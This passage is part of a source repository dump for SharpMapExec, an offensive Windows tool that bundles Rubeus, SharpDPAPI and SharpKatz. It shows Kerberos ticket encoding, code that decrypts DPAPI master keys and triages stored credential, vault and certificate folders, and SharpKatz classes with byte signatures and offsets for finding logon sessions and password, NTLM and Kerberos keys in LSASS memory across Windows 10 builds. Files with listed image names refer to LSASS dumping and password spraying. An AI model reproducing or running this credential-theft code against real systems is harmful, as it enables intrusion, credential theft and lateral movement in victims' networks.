[2] PrincipalName 58 | AsnElt snameAsn = sname.Encode(); 59 | snameAsn = AsnElt.MakeImplicit(AsnElt.CONTEXT, 2, snameAsn); 60 | 61 | // enc-part [3] EncryptedData -- EncTicketPart 62 | AsnElt enc_partAsn = enc_part.Encode(); 63 | AsnElt enc_partSeq = AsnElt.Make(AsnElt.SEQUENCE, enc_partAsn); 64 | enc_partSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 3, enc_partSeq); 65 | 66 | AsnElt totalSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { tkt_vnoSeq, realmAsnSeq, snameAsn, enc_partSeq }); 67 | AsnElt totalSeq2 = AsnElt.Make(AsnElt.SEQUENCE, new[] { totalSeq }); 68 | totalSeq2 = AsnElt.MakeImplicit(AsnElt.APPLICATION, 1, totalSeq2); 69 | 70 | return totalSeq2; 71 | } 72 | 73 | public int tkt_vno { get; set; } 74 | 75 | public string realm { get; set; } 76 | 77 | public PrincipalName sname { get; set; } 78 | 79 | public EncryptedData enc_part { get; set; } 80 | } 81 | } -------------------------------------------------------------------------------- /SharpMapExec/Projects/Rubeus/lib/math/ConfidenceFactor.cs: -------------------------------------------------------------------------------- 1 | // 2 | // NGmp.Math.Prime.ConfidenceFactor.cs - Confidence factor for prime generation 3 | // 4 | // Authors: 5 | // Ben Maurer 6 | // 7 | // Copyright (c) 2003 Ben Maurer. All rights reserved 8 | // 9 | 10 | // 11 | // Copyright (C) 2004 Novell, Inc (http://www.novell.com) 12 | // 13 | // Permission is hereby granted, free of charge, to any person obtaining 14 | // a copy of this software and associated documentation files (the 15 | // "Software"), to deal in the Software without restriction, including 16 | // without limitation the rights to use, copy, modify, merge, publish, 17 | // distribute, sublicense, and/or sell copies of the Software, and to 18 | // permit persons to whom the Software is furnished to do so, subject to 19 | // the following conditions: 20 | // 21 | // The above copyright notice and this permission notice shall be 22 | // included in all copies or substantial portions of the Software. 23 | // 24 | // THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, 25 | // EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF 26 | // MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND 27 | // NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE 28 | // LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION 29 | // OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION 30 | // WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. 31 | // 32 | 33 | namespace Mono.Math.Prime 34 | { 35 | /// 36 | /// A factor of confidence. 37 | /// 38 | #if INSIDE_CORLIB 39 | internal 40 | #else 41 | 42 | public 43 | #endif 44 | enum ConfidenceFactor 45 | { 46 | /// 47 | /// Only suitable for development use, probability of failure may be greater than 1/2^20. 48 | /// 49 | ExtraLow, 50 | 51 | /// 52 | /// Suitable only for transactions which do not require forward secrecy. Probability of failure about 1/2^40 53 | /// 54 | Low, 55 | 56 | /// 57 | /// Designed for production use. Probability of failure about 1/2^80. 58 | /// 59 | Medium, 60 | 61 | /// 62 | /// Suitable for sensitive data. Probability of failure about 1/2^160. 63 | /// 64 | High, 65 | 66 | /// 67 | /// Use only if you have lots of time! Probability of failure about 1/2^320. 68 | /// 69 | ExtraHigh, 70 | 71 | /// 72 | /// Only use methods which generate provable primes. Not yet implemented. 73 | /// 74 | Provable 75 | } 76 | } -------------------------------------------------------------------------------- /SharpMapExec/Projects/Rubeus/lib/math/NextPrimeFinder.cs: -------------------------------------------------------------------------------- 1 | // 2 | // NGmp.Math.Prime.Generator.NextPrimeFinder.cs - Prime Generator 3 | // 4 | // Authors: 5 | // Ben Maurer 6 | // 7 | // Copyright (c) 2003 Ben Maurer. All rights reserved 8 | // 9 | 10 | // 11 | // Copyright (C) 2004 Novell, Inc (http://www.novell.com) 12 | // 13 | // Permission is hereby granted, free of charge, to any person obtaining 14 | // a copy of this software and associated documentation files (the 15 | // "Software"), to deal in the Software without restriction, including 16 | // without limitation the rights to use, copy, modify, merge, publish, 17 | // distribute, sublicense, and/or sell copies of the Software, and to 18 | // permit persons to whom the Software is furnished to do so, subject to 19 | // the following conditions: 20 | // 21 | // The above copyright notice and this permission notice shall be 22 | // included in all copies or substantial portions of the Software. 23 | // 24 | // THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, 25 | // EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF 26 | // MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND 27 | // NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE 28 | // LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION 29 | // OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION 30 | // WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. 31 | // 32 | 33 | using Mono.Math.Prime.Generator; 34 | using System; 35 | 36 | namespace Mono.Math.Generator 37 | { 38 | /// 39 | /// Finds the next prime after a given number. 40 | /// 41 | #if INSIDE_CORLIB 42 | internal 43 | #else 44 | 45 | public 46 | #endif 47 | class NextPrimeFinder : SequentialSearchPrimeGeneratorBase 48 | { 49 | protected override BigInteger GenerateSearchBase(int bits, object Context) 50 | { 51 | if (Context == null) 52 | throw new ArgumentNullException("Context"); 53 | 54 | BigInteger ret = new BigInteger((BigInteger)Context); 55 | ret.SetBit(0); 56 | return ret; 57 | } 58 | } 59 | } -------------------------------------------------------------------------------- /SharpMapExec/Projects/Rubeus/lib/math/PrimeGeneratorBase.cs: -------------------------------------------------------------------------------- 1 | // 2 | // NGmp.Math.Prime.Generator.PrimeGeneratorBase.cs - Abstract Prime Generator 3 | // 4 | // Authors: 5 | // Ben Maurer 6 | // 7 | // Copyright (c) 2003 Ben Maurer. All rights reserved 8 | // 9 | 10 | // 11 | // Copyright (C) 2004 Novell, Inc (http://www.novell.com) 12 | // 13 | // Permission is hereby granted, free of charge, to any person obtaining 14 | // a copy of this software and associated documentation files (the 15 | // "Software"), to deal in the Software without restriction, including 16 | // without limitation the rights to use, copy, modify, merge, publish, 17 | // distribute, sublicense, and/or sell copies of the Software, and to 18 | // permit persons to whom the Software is furnished to do so, subject to 19 | // the following conditions: 20 | // 21 | // The above copyright notice and this permission notice shall be 22 | // included in all copies or substantial portions of the Software. 23 | // 24 | // THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, 25 | // EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF 26 | // MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND 27 | // NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE 28 | // LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION 29 | // OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION 30 | // WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. 31 | // 32 | 33 | namespace Mono.Math.Prime.Generator 34 | { 35 | #if INSIDE_CORLIB 36 | internal 37 | #else 38 | 39 | public 40 | #endif 41 | abstract class PrimeGeneratorBase 42 | { 43 | public virtual ConfidenceFactor Confidence 44 | { 45 | get 46 | { 47 | #if DEBUG 48 | return ConfidenceFactor.ExtraLow; 49 | #else 50 | return ConfidenceFactor.Medium; 51 | #endif 52 | } 53 | } 54 | 55 | public virtual Prime.PrimalityTest PrimalityTest 56 | { 57 | get 58 | { 59 | return new Prime.PrimalityTest(PrimalityTests.RabinMillerTest); 60 | } 61 | } 62 | 63 | public virtual int TrialDivisionBounds 64 | { 65 | get { return 4000; } 66 | } 67 | 68 | /// 69 | /// Performs primality tests on bi, assumes trial division has been done. 70 | /// 71 | /// A BigInteger that has been subjected to and passed trial division 72 | /// False if bi is composite, true if it may be prime. 73 | /// The speed of this method is dependent on Confidence 74 | protected bool PostTrialDivisionTests(BigInteger bi) 75 | { 76 | return PrimalityTest(bi, this.Confidence); 77 | } 78 | 79 | public abstract BigInteger GenerateNewPrime(int bits); 80 | } 81 | } -------------------------------------------------------------------------------- /SharpMapExec/Projects/SharpDPAPI/SharpDPAPI.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.IO; 4 | using System.Text; 5 | 6 | namespace SharpDPAPI 7 | { 8 | public class SharpDPAPI 9 | { 10 | public static void ParseDpapi(StringBuilder sb, List Dpapikeys, List machineMasterKeys, List userMasterKeys, string credDirs = null, string vaultDirs = null, string certDirs = null) 11 | { 12 | sb.AppendLine(" [*] SYSTEM master key cache"); 13 | Dictionary mappings = DecryptSystemMasterKeys(sb, Dpapikeys, machineMasterKeys, userMasterKeys); 14 | foreach (KeyValuePair kvp in mappings) 15 | { 16 | sb.AppendLine(String.Format("{0}:{1}", kvp.Key, kvp.Value)); 17 | } 18 | var originalConsoleOut = Console.Out; 19 | using (var writer = new StringWriter()) 20 | { 21 | Console.SetOut(writer); 22 | Console.WriteLine(" [*] Dpapi cred blobs"); 23 | var credFiles = Directory.EnumerateFiles(credDirs, "*.*", SearchOption.AllDirectories); 24 | if (credDirs != null && credFiles.GetEnumerator().MoveNext()) 25 | { 26 | Triage.TriageCredFolder(credDirs, mappings); 27 | } 28 | 29 | var vaultFiles = Directory.EnumerateFiles(vaultDirs, "*.*", SearchOption.AllDirectories); 30 | if (vaultDirs != null && vaultFiles.GetEnumerator().MoveNext()) 31 | { 32 | foreach (var dir in Directory.GetDirectories(vaultDirs)) 33 | { 34 | Triage.TriageVaultFolder(dir, mappings); 35 | } 36 | } 37 | 38 | var certFiles = Directory.EnumerateFiles(certDirs, "*.*", SearchOption.AllDirectories); 39 | if (certDirs != null && certFiles.GetEnumerator().MoveNext()) 40 | { 41 | Triage.TriageCertFolder(certDirs, mappings); 42 | } 43 | writer.Flush(); 44 | sb.AppendLine(writer.GetStringBuilder().ToString()); 45 | } 46 | Console.SetOut(originalConsoleOut); 47 | } 48 | 49 | private static Dictionary DecryptSystemMasterKeys(StringBuilder sb, List Dpapikeys, List machineMasterKeys = null, List userMasterKeys = null) 50 | { 51 | var mappings = new Dictionary(); 52 | if (machineMasterKeys != null) 53 | { 54 | foreach (byte[] masteyKeyBytes in machineMasterKeys) 55 | { 56 | try 57 | { 58 | // use the "machine" DPAPI key 59 | var plaintextMasterkey = Dpapi.DecryptMasterKeyWithSha(masteyKeyBytes, Dpapikeys[0]); 60 | mappings.Add(plaintextMasterkey.Key, plaintextMasterkey.Value); 61 | } 62 | catch (Exception e) 63 | { 64 | sb.AppendLine(String.Format("[-] Error triaging {0} ", e.Message)); 65 | } 66 | } 67 | } 68 | if (userMasterKeys != null) 69 | { 70 | foreach (byte[] masteyKeyBytes in userMasterKeys) 71 | { 72 | try 73 | { 74 | // use the "user" DPAPI key 75 | var plaintextMasterKey = Dpapi.DecryptMasterKeyWithSha(masteyKeyBytes, Dpapikeys[1]); 76 | mappings.Add(plaintextMasterKey.Key, plaintextMasterKey.Value); 77 | } 78 | catch (Exception e) 79 | { 80 | sb.AppendLine(String.Format("[-] Error triaging {0} ", e.Message)); 81 | } 82 | } 83 | } 84 | return mappings; 85 | } 86 | } 87 | } -------------------------------------------------------------------------------- /SharpMapExec/Projects/SharpDPAPI/lib/Tuple.cs: -------------------------------------------------------------------------------- 1 | namespace SharpDPAPI 2 | { 3 | public class Tuple 4 | { 5 | public T1 First { get; private set; } 6 | public T2 Second { get; private set; } 7 | 8 | internal Tuple(T1 first, T2 second) 9 | { 10 | First = first; 11 | Second = second; 12 | } 13 | } 14 | 15 | public static class Tuple 16 | { 17 | public static Tuple New(T1 first, T2 second) 18 | { 19 | var tuple = new Tuple(first, second); 20 | return tuple; 21 | } 22 | } 23 | } -------------------------------------------------------------------------------- /SharpMapExec/Projects/SharpKatz/Credential/Credential.cs: -------------------------------------------------------------------------------- 1 | // 2 | // Author: B4rtik (@b4rtik) 3 | // Project: SharpKatz (https://github.com/b4rtik/SharpKatz) 4 | // License: BSD 3-Clause 5 | // 6 | 7 | using System; 8 | using System.Collections.Generic; 9 | using static SharpKatz.Win32.Natives; 10 | using FILETIME = System.Runtime.InteropServices.ComTypes.FILETIME; 11 | 12 | namespace SharpKatz.Credential 13 | { 14 | internal class Logon 15 | { 16 | public LUID LogonId { get; set; } 17 | public string LogonType { get; set; } 18 | public int Session { get; set; } 19 | public FILETIME LogonTime { get; set; } 20 | public string UserName { get; set; } 21 | public string LogonDomain { get; set; } 22 | public string LogonServer { get; set; } 23 | public string SID { get; set; } 24 | 25 | public Msv Msv { get; set; } 26 | public WDigest Wdigest { get; set; } 27 | public List Ssp { get; set; } 28 | public Tspkg Tspkg { get; set; } 29 | public Kerberos Kerberos { get; set; } 30 | public List Credman { get; set; } 31 | public List KerberosKeys { get; set; } 32 | 33 | public IntPtr pCredentials { get; set; } 34 | public IntPtr pCredentialManager { get; set; } 35 | 36 | public Logon(LUID logonId) 37 | { 38 | LogonId = logonId; 39 | } 40 | } 41 | 42 | internal class Msv 43 | { 44 | public string DomainName { get; set; } 45 | public string UserName { get; set; } 46 | public string Lm { get; set; } 47 | public string Ntlm { get; set; } 48 | public string Sha1 { get; set; } 49 | public string Dpapi { get; set; } 50 | 51 | public Msv() 52 | { 53 | } 54 | } 55 | 56 | internal class Ssp 57 | { 58 | public int Reference { get; set; } 59 | public string DomainName { get; set; } 60 | public string UserName { get; set; } 61 | public string Password { get; set; } 62 | 63 | public Ssp() 64 | { 65 | } 66 | } 67 | 68 | internal class Tspkg 69 | { 70 | public string DomainName { get; set; } 71 | public string UserName { get; set; } 72 | public string Password { get; set; } 73 | 74 | public Tspkg() 75 | { 76 | } 77 | } 78 | 79 | internal class Kerberos 80 | { 81 | public string DomainName { get; set; } 82 | public string UserName { get; set; } 83 | public string Password { get; set; } 84 | 85 | public Kerberos() 86 | { 87 | } 88 | } 89 | 90 | internal class CredMan 91 | { 92 | public int Reference { get; set; } 93 | public string DomainName { get; set; } 94 | public string UserName { get; set; } 95 | public string Password { get; set; } 96 | 97 | public CredMan() 98 | { 99 | } 100 | } 101 | 102 | internal class WDigest 103 | { 104 | public string HostName { get; set; } 105 | public string UserName { get; set; } 106 | public string Password { get; set; } 107 | 108 | public WDigest() 109 | { 110 | } 111 | } 112 | 113 | internal class KerberosKey 114 | { 115 | public string Type { get; set; } 116 | public string Key { get; set; } 117 | 118 | public KerberosKey() 119 | { 120 | } 121 | } 122 | } -------------------------------------------------------------------------------- /SharpMapExec/Projects/SharpKatz/WinBuild/IWinBuild.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | 3 | namespace SharpKatz.WinBuild 4 | { 5 | internal interface IWinBuild 6 | { 7 | int build { get; set; } 8 | Type PrimaryCredentialsType { get; set; } 9 | Type PrimaryCredentialType { get; set; } 10 | Type ListType { get; set; } 11 | Type LogonSessionType { get; set; } 12 | Type KerberosPrimaryCredentialType { get; set; } 13 | Type TSCredType { get; set; } 14 | Type KerberosLogonSessionType { get; set; } 15 | Type KerberosHashType { get; set; } 16 | int LOGONSESSIONLISTOFFSET { get; set; } 17 | int LOGONSESSIONSLISTCOUNTOFFSET { get; set; } 18 | byte[] logonSessionListSign { get; set; } 19 | long IV_OFFSET { get; set; } 20 | long DES_OFFSET { get; set; } 21 | long AES_OFFSET { get; set; } 22 | byte[] keyIVSig { get; set; } 23 | byte[] logSessListSig { get; set; } 24 | int ListTypeSize { get; set; } 25 | int LogonSessionTypeSize { get; set; } 26 | byte[] SspCredentialListSign { get; set; } 27 | int CREDENTIALLISTOFFSET { get; set; } 28 | byte[] LiveLocateLogonSession { get; set; } 29 | int LIVESSPLISTOFFSET { get; set; } 30 | byte[] KerbUnloadLogonSessionTableSign { get; set; } 31 | int KerbUnloadLogonSessionTableOffset { get; set; } 32 | byte[] TSGlobalCredTableSign { get; set; } 33 | int TSGlobalCredTableOffset { get; set; } 34 | int KerberosPrimaryCredentialTypeSize { get; set; } 35 | } 36 | } -------------------------------------------------------------------------------- /SharpMapExec/Projects/SharpKatz/WinBuild/WinBuild1507.cs: -------------------------------------------------------------------------------- 1 | using SharpKatz.Module; 2 | using System; 3 | using System.Runtime.InteropServices; 4 | 5 | namespace SharpKatz.WinBuild 6 | { 7 | internal class WinBuild1507 : IWinBuild 8 | { 9 | public int build { get; set; } 10 | public Type PrimaryCredentialsType { get; set; } 11 | public Type PrimaryCredentialType { get; set; } 12 | public Type ListType { get; set; } 13 | public Type LogonSessionType { get; set; } 14 | public Type KerberosPrimaryCredentialType { get; set; } 15 | public Type TSCredType { get; set; } 16 | public Type KerberosLogonSessionType { get; set; } 17 | public Type KerberosHashType { get; set; } 18 | public int LOGONSESSIONLISTOFFSET { get; set; } 19 | public int LOGONSESSIONSLISTCOUNTOFFSET { get; set; } 20 | public byte[] logonSessionListSign { get; set; } 21 | public long IV_OFFSET { get; set; } 22 | public long DES_OFFSET { get; set; } 23 | public long AES_OFFSET { get; set; } 24 | public byte[] keyIVSig { get; set; } 25 | public byte[] logSessListSig { get; set; } 26 | public int ListTypeSize { get; set; } 27 | public int LogonSessionTypeSize { get; set; } 28 | public byte[] SspCredentialListSign { get; set; } 29 | public int CREDENTIALLISTOFFSET { get; set; } 30 | public byte[] LiveLocateLogonSession { get; set; } 31 | public int LIVESSPLISTOFFSET { get; set; } 32 | public byte[] KerbUnloadLogonSessionTableSign { get; set; } 33 | public int KerbUnloadLogonSessionTableOffset { get; set; } 34 | public byte[] TSGlobalCredTableSign { get; set; } 35 | public int TSGlobalCredTableOffset { get; set; } 36 | public int KerberosPrimaryCredentialTypeSize { get; set; } 37 | 38 | private byte[] PTRN_WALL_TSGlobalCredTable = { 0x48, 0x83, 0xec, 0x20, 0x48, 0x8d, 0x0d }; 39 | private byte[] PTRN_WALL_KerbUnloadLogonSessionTable = { 0x48, 0x8b, 0x18, 0x48, 0x8d, 0x0d }; 40 | private byte[] PTRN_WALL_LiveLocateLogonSession = { 0x74, 0x25, 0x8b }; 41 | private byte[] PTRN_WIN10_SspCredentialList = { 0x24, 0x43, 0x72, 0x64, 0x41, 0xff, 0x15 }; 42 | private byte[] PTRN_WIN6_PasswdSet = { 0x48, 0x3b, 0xd9, 0x74 }; 43 | private byte[] PTRN_WN6x_LogonSessionList = { 0x33, 0xff, 0x41, 0x89, 0x37, 0x4c, 0x8b, 0xf3, 0x45, 0x85, 0xc0, 0x74 }; 44 | private byte[] keyIVSigAll = { 0x83, 0x64, 0x24, 0x30, 0x00, 0x48, 0x8d, 0x45, 0xe0, 0x44, 0x8b, 0x4d, 0xd8, 0x48, 0x8d, 0x15 }; 45 | 46 | public WinBuild1507() 47 | { 48 | PrimaryCredentialsType = typeof(Msv1.KIWI_MSV1_0_PRIMARY_CREDENTIALS); 49 | PrimaryCredentialType = typeof(Msv1.MSV1_0_PRIMARY_CREDENTIAL_10_OLD); 50 | ListType = typeof(Msv1.KIWI_MSV1_0_LIST_63); 51 | ListTypeSize = Marshal.SizeOf(typeof(Msv1.KIWI_MSV1_0_LIST_63)); 52 | LogonSessionType = typeof(SharpKerberos.KIWI_KERBEROS_LOGON_SESSION_10); 53 | LogonSessionTypeSize = Marshal.SizeOf(typeof(SharpKerberos.KIWI_KERBEROS_LOGON_SESSION_10)); 54 | KerberosPrimaryCredentialType = typeof(SharpKerberos.KIWI_KERBEROS_10_PRIMARY_CREDENTIAL); 55 | KerberosPrimaryCredentialTypeSize = Marshal.SizeOf(typeof(SharpKerberos.KIWI_KERBEROS_10_PRIMARY_CREDENTIAL)); 56 | TSCredType = typeof(Tspkg.KIWI_TS_CREDENTIAL); 57 | 58 | KerberosLogonSessionType = typeof(SharpKerberos.KIWI_KERBEROS_LOGON_SESSION_10); 59 | KerberosHashType = typeof(SharpKerberos.KERB_HASHPASSWORD_6); 60 | 61 | build = OSVersionHelper.KULL_M_WIN_BUILD_10_1507; 62 | logonSessionListSign = PTRN_WN6x_LogonSessionList; 63 | 64 | LOGONSESSIONLISTOFFSET = 16; 65 | LOGONSESSIONSLISTCOUNTOFFSET = -4; 66 | 67 | keyIVSig = keyIVSigAll; 68 | 69 | IV_OFFSET = 61; 70 | DES_OFFSET = -73; 71 | AES_OFFSET = 16; 72 | 73 | logSessListSig = PTRN_WIN6_PasswdSet; 74 | 75 | SspCredentialListSign = PTRN_WIN10_SspCredentialList; 76 | 77 | CREDENTIALLISTOFFSET = 14; 78 | 79 | KerbUnloadLogonSessionTableSign = PTRN_WALL_KerbUnloadLogonSessionTable; 80 | KerbUnloadLogonSessionTableOffset = 6; 81 | 82 | TSGlobalCredTableSign = PTRN_WALL_TSGlobalCredTable; 83 | TSGlobalCredTableOffset = 7; 84 | } 85 | } 86 | } -------------------------------------------------------------------------------- /SharpMapExec/Projects/SharpKatz/WinBuild/WinBuild1511.cs: -------------------------------------------------------------------------------- 1 | using SharpKatz.Module; 2 | using System; 3 | using System.Runtime.InteropServices; 4 | 5 | namespace SharpKatz.WinBuild 6 | { 7 | internal class WinBuild1511 : IWinBuild 8 | { 9 | public int build { get; set; } 10 | public Type PrimaryCredentialsType { get; set; } 11 | public Type PrimaryCredentialType { get; set; } 12 | public Type ListType { get; set; } 13 | public Type LogonSessionType { get; set; } 14 | public Type KerberosPrimaryCredentialType { get; set; } 15 | public Type TSCredType { get; set; } 16 | public Type KerberosLogonSessionType { get; set; } 17 | public Type KerberosHashType { get; set; } 18 | public int LOGONSESSIONLISTOFFSET { get; set; } 19 | public int LOGONSESSIONSLISTCOUNTOFFSET { get; set; } 20 | public byte[] logonSessionListSign { get; set; } 21 | public long IV_OFFSET { get; set; } 22 | public long DES_OFFSET { get; set; } 23 | public long AES_OFFSET { get; set; } 24 | public byte[] keyIVSig { get; set; } 25 | public byte[] logSessListSig { get; set; } 26 | public int ListTypeSize { get; set; } 27 | public int LogonSessionTypeSize { get; set; } 28 | public byte[] SspCredentialListSign { get; set; } 29 | public int CREDENTIALLISTOFFSET { get; set; } 30 | public byte[] LiveLocateLogonSession { get; set; } 31 | public int LIVESSPLISTOFFSET { get; set; } 32 | public byte[] KerbUnloadLogonSessionTableSign { get; set; } 33 | public int KerbUnloadLogonSessionTableOffset { get; set; } 34 | public byte[] TSGlobalCredTableSign { get; set; } 35 | public int TSGlobalCredTableOffset { get; set; } 36 | public int KerberosPrimaryCredentialTypeSize { get; set; } 37 | 38 | private byte[] PTRN_WALL_TSGlobalCredTable = { 0x48, 0x83, 0xec, 0x20, 0x48, 0x8d, 0x0d }; 39 | private byte[] PTRN_WALL_KerbUnloadLogonSessionTable = { 0x48, 0x8b, 0x18, 0x48, 0x8d, 0x0d }; 40 | private byte[] PTRN_WALL_LiveLocateLogonSession = { 0x74, 0x25, 0x8b }; 41 | private byte[] PTRN_WIN10_SspCredentialList = { 0x24, 0x43, 0x72, 0x64, 0x41, 0xff, 0x15 }; 42 | private byte[] PTRN_WIN6_PasswdSet = { 0x48, 0x3b, 0xd9, 0x74 }; 43 | private byte[] PTRN_WN6x_LogonSessionList = { 0x33, 0xff, 0x41, 0x89, 0x37, 0x4c, 0x8b, 0xf3, 0x45, 0x85, 0xc0, 0x74 }; 44 | private byte[] keyIVSigAll = { 0x83, 0x64, 0x24, 0x30, 0x00, 0x48, 0x8d, 0x45, 0xe0, 0x44, 0x8b, 0x4d, 0xd8, 0x48, 0x8d, 0x15 }; 45 | 46 | public WinBuild1511() 47 | { 48 | PrimaryCredentialsType = typeof(Msv1.KIWI_MSV1_0_PRIMARY_CREDENTIALS); 49 | PrimaryCredentialType = typeof(Msv1.MSV1_0_PRIMARY_CREDENTIAL_10); 50 | ListType = typeof(Msv1.KIWI_MSV1_0_LIST_63); 51 | ListTypeSize = Marshal.SizeOf(typeof(Msv1.KIWI_MSV1_0_LIST_63)); 52 | LogonSessionType = typeof(SharpKerberos.KIWI_KERBEROS_LOGON_SESSION_10); 53 | LogonSessionTypeSize = Marshal.SizeOf(typeof(SharpKerberos.KIWI_KERBEROS_LOGON_SESSION_10)); 54 | KerberosPrimaryCredentialType = typeof(SharpKerberos.KIWI_KERBEROS_10_PRIMARY_CREDENTIAL); 55 | KerberosPrimaryCredentialTypeSize = Marshal.SizeOf(typeof(SharpKerberos.KIWI_KERBEROS_10_PRIMARY_CREDENTIAL)); 56 | TSCredType = typeof(Tspkg.KIWI_TS_CREDENTIAL); 57 | 58 | KerberosLogonSessionType = typeof(SharpKerberos.KIWI_KERBEROS_LOGON_SESSION_10); 59 | KerberosHashType = typeof(SharpKerberos.KERB_HASHPASSWORD_6); 60 | 61 | build = OSVersionHelper.KULL_M_WIN_BUILD_10_1511; 62 | logonSessionListSign = PTRN_WN6x_LogonSessionList; 63 | 64 | LOGONSESSIONLISTOFFSET = 16; 65 | LOGONSESSIONSLISTCOUNTOFFSET = -4; 66 | 67 | keyIVSig = keyIVSigAll; 68 | 69 | IV_OFFSET = 61; 70 | DES_OFFSET = -73; 71 | AES_OFFSET = 16; 72 | 73 | logSessListSig = PTRN_WIN6_PasswdSet; 74 | 75 | SspCredentialListSign = PTRN_WIN10_SspCredentialList; 76 | 77 | CREDENTIALLISTOFFSET = 14; 78 | 79 | KerbUnloadLogonSessionTableSign = PTRN_WALL_KerbUnloadLogonSessionTable; 80 | KerbUnloadLogonSessionTableOffset = 6; 81 | 82 | TSGlobalCredTableSign = PTRN_WALL_TSGlobalCredTable; 83 | TSGlobalCredTableOffset = 7; 84 | } 85 | } 86 | } -------------------------------------------------------------------------------- /SharpMapExec/Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- 1 | using System.Reflection; 2 | using System.Runtime.InteropServices; 3 | 4 | // General Information about an assembly is controlled through the following 5 | // set of attributes. Change these attribute values to modify the information 6 | // associated with an assembly. 7 | [assembly: AssemblyTitle("SharpMapExec")] 8 | [assembly: AssemblyDescription("")] 9 | [assembly: AssemblyConfiguration("")] 10 | [assembly: AssemblyCompany("Cube0x0")] 11 | [assembly: AssemblyProduct("SharpMapExec")] 12 | [assembly: AssemblyCopyright("Cube0x0 Copyright © 2020")] 13 | [assembly: AssemblyTrademark("")] 14 | [assembly: AssemblyCulture("")] 15 | 16 | // Setting ComVisible to false makes the types in this assembly not visible 17 | // to COM components. If you need to access a type in this assembly from 18 | // COM, set the ComVisible attribute to true on that type. 19 | [assembly: ComVisible(false)] 20 | 21 | // The following GUID is for the ID of the typelib if this project is exposed to COM 22 | [assembly: Guid("bd5220f7-e1fb-41d2-91ec-e4c50c6e9b9f")] 23 | 24 | // Version information for an assembly consists of the following four values: 25 | // 26 | // Major Version 27 | // Minor Version 28 | // Build Number 29 | // Revision 30 | // 31 | // You can specify all the values or you can default the Build and Revision Numbers 32 | // by using the '*' as shown below: 33 | // [assembly: AssemblyVersion("1.0.*")] 34 | [assembly: AssemblyVersion("1.0.0.0")] 35 | [assembly: AssemblyFileVersion("1.0.0.0")] -------------------------------------------------------------------------------- /SharpMapExec/SharpMapExec.csproj.user: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | ProjectFiles 5 | 6 | -------------------------------------------------------------------------------- /SharpMapExec/packages.config: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | -------------------------------------------------------------------------------- /images/Get-LogonHistory.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cube0x0/SharpMapExec/465a8eedd4e94455b21c76d3d904a6090dcd48fd/images/Get-LogonHistory.png -------------------------------------------------------------------------------- /images/delegwalk.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cube0x0/SharpMapExec/465a8eedd4e94455b21c76d3d904a6090dcd48fd/images/delegwalk.png -------------------------------------------------------------------------------- /images/jea.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cube0x0/SharpMapExec/465a8eedd4e94455b21c76d3d904a6090dcd48fd/images/jea.png -------------------------------------------------------------------------------- /images/localadmin.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cube0x0/SharpMapExec/465a8eedd4e94455b21c76d3d904a6090dcd48fd/images/localadmin.png -------------------------------------------------------------------------------- /images/lsassdump.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cube0x0/SharpMapExec/465a8eedd4e94455b21c76d3d904a6090dcd48fd/images/lsassdump.png -------------------------------------------------------------------------------- /images/mass_assembly.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cube0x0/SharpMapExec/465a8eedd4e94455b21c76d3d904a6090dcd48fd/images/mass_assembly.png -------------------------------------------------------------------------------- /images/massexec.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cube0x0/SharpMapExec/465a8eedd4e94455b21c76d3d904a6090dcd48fd/images/massexec.png -------------------------------------------------------------------------------- /images/smbvscan.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cube0x0/SharpMapExec/465a8eedd4e94455b21c76d3d904a6090dcd48fd/images/smbvscan.png -------------------------------------------------------------------------------- /images/spray+admin.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cube0x0/SharpMapExec/465a8eedd4e94455b21c76d3d904a6090dcd48fd/images/spray+admin.png -------------------------------------------------------------------------------- /packages/DynamicLanguageRuntime.1.3.0/.signature.p7s: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cube0x0/SharpMapExec/465a8eedd4e94455b21c76d3d904a6090dcd48fd/packages/DynamicLanguageRuntime.1.3.0/.signature.p7s -------------------------------------------------------------------------------- /packages/DynamicLanguageRuntime.1.3.0/DynamicLanguageRuntime.1.3.0.nupkg: 